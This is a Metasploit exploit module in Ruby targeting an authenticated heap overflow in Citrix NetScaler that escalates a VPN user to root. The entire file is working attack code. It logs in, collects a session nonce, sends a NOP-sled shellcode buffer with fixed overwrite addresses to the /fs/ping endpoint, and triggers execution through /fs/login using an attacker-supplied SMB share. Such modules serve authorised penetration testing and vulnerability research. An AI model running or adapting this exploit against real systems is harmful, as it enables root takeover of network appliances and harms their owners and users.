##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'json'

class MetasploitModule < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Citrix Netscaler Heap overflow',
			'Description'    => %q{
					This module exploits an authenticated heap overflow vulnerability that allows a VPN user to gain root access to the appliance.
			},
			'Author'         => [ 'clZ' ],
			'License'        => MSF_LICENSE,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 280,
					'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c",
				},
			'Platform'       => ['bsd'],
			'Arch'           => ARCH_X86,
			'DefaultOptions' =>
	        {
	          'SSL' => true
	        },
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))
	    register_options(
	      [
	        OptString.new('USERNAME', [true, 'SSLVPN Username', 'test']),
	        OptString.new('PASSWORD', [true, 'SSLVPN Password', 'test']),
	        OptString.new('SMB_HOST', [true, 'SMB HOST accessible to NetScaler appliance', '']),
	        OptString.new('SMB_SHARE', [true, 'SMB SHARE accessible to NetScaler appliance', '']),
	        Opt::RPORT(443)
	      ],
	      self.class
	    )

	end

	def exploit
		print_status("Logging in...")
		login_data = {
			'login' => datastore['USERNAME'],
			'passwd' => datastore['PASSWORD']
		}
		res = send_request_cgi({
				'method' => 'POST',
				'uri' => "/cgi/login",
				'version' => '1.1',
				'vhost'   => rhost,
				'vars_post' => login_data
			})
		cookies = res.get_cookies
		
		print_status("Session : #{cookies}")
		print_status("Set clientless access")
		res = send_request_cgi({
			'method' => 'GET',
			'uri' => '/cgi/setclient?cvpn',
			'cookie' => cookies
			})
		print_status(res.body)
		cookies = res.get_cookies
		print_status("Session : #{cookies}")
		print_status("Getting nonce")
		res = send_request_raw({
			'method' => 'GET',
			'uri' => '/cgi/getHomepageConfig',
			'cookie' => cookies
			})
		nonce = JSON.parse(res.body)["NSC_NONCE"]
		print_status("Got nonce : #{nonce}")
		nopsled = "\x90" * (280-payload.encoded.length)
		sploit = nopsled + payload.encoded + "\xc0\xa0\x40\x28CCCCDDDD"
		print_status("Overflowing buffer")
		res = send_request_cgi({
			'method' => 'POST',
			'uri' => "/fs/ping",
			'version' => '1.1',
			'encode_params' => true,
			'vhost'   => rhost,
			'vars_get' => {'host'=>sploit},
			'vars_post' => {'nsc_nonce'=>nonce},
			'cookie' => cookies
		})

		trigger = {
			'server' => "\\\\" + datastore['SMB_HOST'] + "\\" + datastore['SMB_SHARE'],
			'login' => "ffff",
			'password' => "\xe0\xd2\xff\xffBBBBCCCCCCCCDDDDDDD",
			'domain' => '',
			'nsc_nonce' => nonce,
		}
		print_status("Trigger exploit")
		res = send_request_cgi({
			'method' => 'POST',
			'uri' => '/fs/login',
			'cookie' => cookies,
			'version' => '1.1',
			'vars_post' => trigger
			})
		

		handler
	end

end
